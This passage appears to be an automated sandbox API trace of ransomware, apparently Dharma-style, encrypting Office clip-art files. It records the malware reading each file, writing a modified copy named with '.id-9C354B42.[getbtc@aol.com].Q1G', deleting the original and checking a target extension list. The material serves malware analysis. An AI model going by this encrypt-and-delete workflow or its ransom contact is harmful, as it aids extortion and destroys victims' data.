nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4730, lpOverlapped=0x0) returned 1 [0265.171] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.171] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.172] SetEndOfFile (hFile=0x360) returned 1 [0265.172] CloseHandle (hObject=0x360) returned 1 [0265.172] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.172] SetEndOfFile (hFile=0x390) returned 1 [0265.176] CloseHandle (hObject=0x390) returned 1 [0265.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf")) returned 1 [0265.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.191] lstrlenW (lpString=".doc") returned 4 [0265.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString=".docx") returned 5 [0265.192] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0265.192] lstrlenW (lpString=".pdf") returned 4 [0265.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString=".xls") returned 4 [0265.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.192] lstrlenW (lpString=".xlsx") returned 5 [0265.192] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0265.192] lstrlenW (lpString=".ppt") returned 4 [0265.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.192] lstrlenW (lpString=".zip") returned 4 [0265.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.192] lstrlenW (lpString=".rar") returned 4 [0265.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString=".bz2") returned 4 [0265.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString=".7z") returned 3 [0265.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.192] lstrlenW (lpString=".dbf") returned 4 [0265.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.192] lstrlenW (lpString=".1cd") returned 4 [0265.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.192] lstrlenW (lpString=".jpg") returned 4 [0265.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.192] lstrlenW (lpString=".doc") returned 4 [0265.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString=".docx") returned 5 [0265.192] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0265.192] lstrlenW (lpString=".pdf") returned 4 [0265.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.193] lstrlenW (lpString=".xls") returned 4 [0265.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.193] lstrlenW (lpString=".xlsx") returned 5 [0265.193] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0265.193] lstrlenW (lpString=".ppt") returned 4 [0265.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.193] lstrlenW (lpString=".zip") returned 4 [0265.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.193] lstrlenW (lpString=".rar") returned 4 [0265.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.193] lstrlenW (lpString=".bz2") returned 4 [0265.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.193] lstrlenW (lpString=".7z") returned 3 [0265.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.193] lstrlenW (lpString=".dbf") returned 4 [0265.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.193] lstrlenW (lpString=".1cd") returned 4 [0265.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0265.193] lstrlenW (lpString=".jpg") returned 4 [0265.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.193] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.193] lstrlenW (lpString="J0187849.WMF") returned 12 [0265.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.205] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=7572) returned 1 [0265.205] CloseHandle (hObject=0x390) returned 1 [0265.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf")) returned 0x20 [0265.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0265.351] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.351] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.353] GetLastError () returned 0x0 [0265.353] ReadFile (in: hFile=0x3d8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1d94, lpOverlapped=0x0) returned 1 [0265.386] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0265.387] ReadFile (in: hFile=0x3d8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.387] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.387] SetEndOfFile (hFile=0x3a8) returned 1 [0265.387] CloseHandle (hObject=0x3a8) returned 1 [0265.387] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.387] SetEndOfFile (hFile=0x3d8) returned 1 [0265.389] CloseHandle (hObject=0x3d8) returned 1 [0265.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf")) returned 1 [0265.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.390] lstrlenW (lpString=".doc") returned 4 [0265.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.390] lstrlenW (lpString=".docx") returned 5 [0265.390] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.390] lstrlenW (lpString=".pdf") returned 4 [0265.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.390] lstrlenW (lpString=".xls") returned 4 [0265.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.390] lstrlenW (lpString=".xlsx") returned 5 [0265.390] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.390] lstrlenW (lpString=".ppt") returned 4 [0265.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.390] lstrlenW (lpString=".zip") returned 4 [0265.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.390] lstrlenW (lpString=".rar") returned 4 [0265.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.390] lstrlenW (lpString=".bz2") returned 4 [0265.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.390] lstrlenW (lpString=".7z") returned 3 [0265.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.390] lstrlenW (lpString=".dbf") returned 4 [0265.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.390] lstrlenW (lpString=".1cd") returned 4 [0265.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.391] lstrlenW (lpString=".jpg") returned 4 [0265.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.391] lstrlenW (lpString=".doc") returned 4 [0265.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.391] lstrlenW (lpString=".docx") returned 5 [0265.391] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.391] lstrlenW (lpString=".pdf") returned 4 [0265.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.391] lstrlenW (lpString=".xls") returned 4 [0265.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.391] lstrlenW (lpString=".xlsx") returned 5 [0265.391] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.391] lstrlenW (lpString=".ppt") returned 4 [0265.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.391] lstrlenW (lpString=".zip") returned 4 [0265.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.391] lstrlenW (lpString=".rar") returned 4 [0265.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.391] lstrlenW (lpString=".bz2") returned 4 [0265.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.391] lstrlenW (lpString=".7z") returned 3 [0265.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.391] lstrlenW (lpString=".dbf") returned 4 [0265.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.391] lstrlenW (lpString=".1cd") returned 4 [0265.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0265.391] lstrlenW (lpString=".jpg") returned 4 [0265.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.392] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.392] lstrlenW (lpString="J0188667.WMF") returned 12 [0265.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0265.392] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=16030) returned 1 [0265.392] CloseHandle (hObject=0x3d8) returned 1 [0265.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf")) returned 0x20 [0265.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0265.393] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.393] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.394] GetLastError () returned 0x0 [0265.394] ReadFile (in: hFile=0x3d8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3e9e, lpOverlapped=0x0) returned 1 [0265.411] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x3ea0, lpOverlapped=0x0) returned 1 [0265.412] ReadFile (in: hFile=0x3d8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.412] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.412] SetEndOfFile (hFile=0x3a8) returned 1 [0265.412] CloseHandle (hObject=0x3a8) returned 1 [0265.412] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.412] SetEndOfFile (hFile=0x3d8) returned 1 [0265.414] CloseHandle (hObject=0x3d8) returned 1 [0265.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf")) returned 1 [0265.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.449] lstrlenW (lpString=".doc") returned 4 [0265.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.449] lstrlenW (lpString=".docx") returned 5 [0265.449] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.449] lstrlenW (lpString=".pdf") returned 4 [0265.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.450] lstrlenW (lpString=".xls") returned 4 [0265.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.450] lstrlenW (lpString=".xlsx") returned 5 [0265.450] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.450] lstrlenW (lpString=".ppt") returned 4 [0265.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.450] lstrlenW (lpString=".zip") returned 4 [0265.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.450] lstrlenW (lpString=".rar") returned 4 [0265.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.450] lstrlenW (lpString=".bz2") returned 4 [0265.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.450] lstrlenW (lpString=".7z") returned 3 [0265.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.450] lstrlenW (lpString=".dbf") returned 4 [0265.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.450] lstrlenW (lpString=".1cd") returned 4 [0265.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.450] lstrlenW (lpString=".jpg") returned 4 [0265.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.450] lstrlenW (lpString=".doc") returned 4 [0265.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.450] lstrlenW (lpString=".docx") returned 5 [0265.450] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.450] lstrlenW (lpString=".pdf") returned 4 [0265.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.450] lstrlenW (lpString=".xls") returned 4 [0265.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.450] lstrlenW (lpString=".xlsx") returned 5 [0265.450] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.450] lstrlenW (lpString=".ppt") returned 4 [0265.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.451] lstrlenW (lpString=".zip") returned 4 [0265.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.451] lstrlenW (lpString=".rar") returned 4 [0265.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.451] lstrlenW (lpString=".bz2") returned 4 [0265.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.451] lstrlenW (lpString=".7z") returned 3 [0265.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.451] lstrlenW (lpString=".dbf") returned 4 [0265.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.451] lstrlenW (lpString=".1cd") returned 4 [0265.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0265.451] lstrlenW (lpString=".jpg") returned 4 [0265.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.451] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.451] lstrlenW (lpString="J0195248.WMF") returned 12 [0265.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.452] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=7332) returned 1 [0265.452] CloseHandle (hObject=0x360) returned 1 [0265.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf")) returned 0x20 [0265.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.452] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.452] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.453] GetLastError () returned 0x0 [0265.453] ReadFile (in: hFile=0x360, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1ca4, lpOverlapped=0x0) returned 1 [0265.476] WriteFile (in: hFile=0x3a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1cb0, lpOverlapped=0x0) returned 1 [0265.476] ReadFile (in: hFile=0x360, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.477] WriteFile (in: hFile=0x3a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.477] SetEndOfFile (hFile=0x3a0) returned 1 [0265.477] CloseHandle (hObject=0x3a0) returned 1 [0265.477] SetFilePointerEx (in: hFile=0x360, 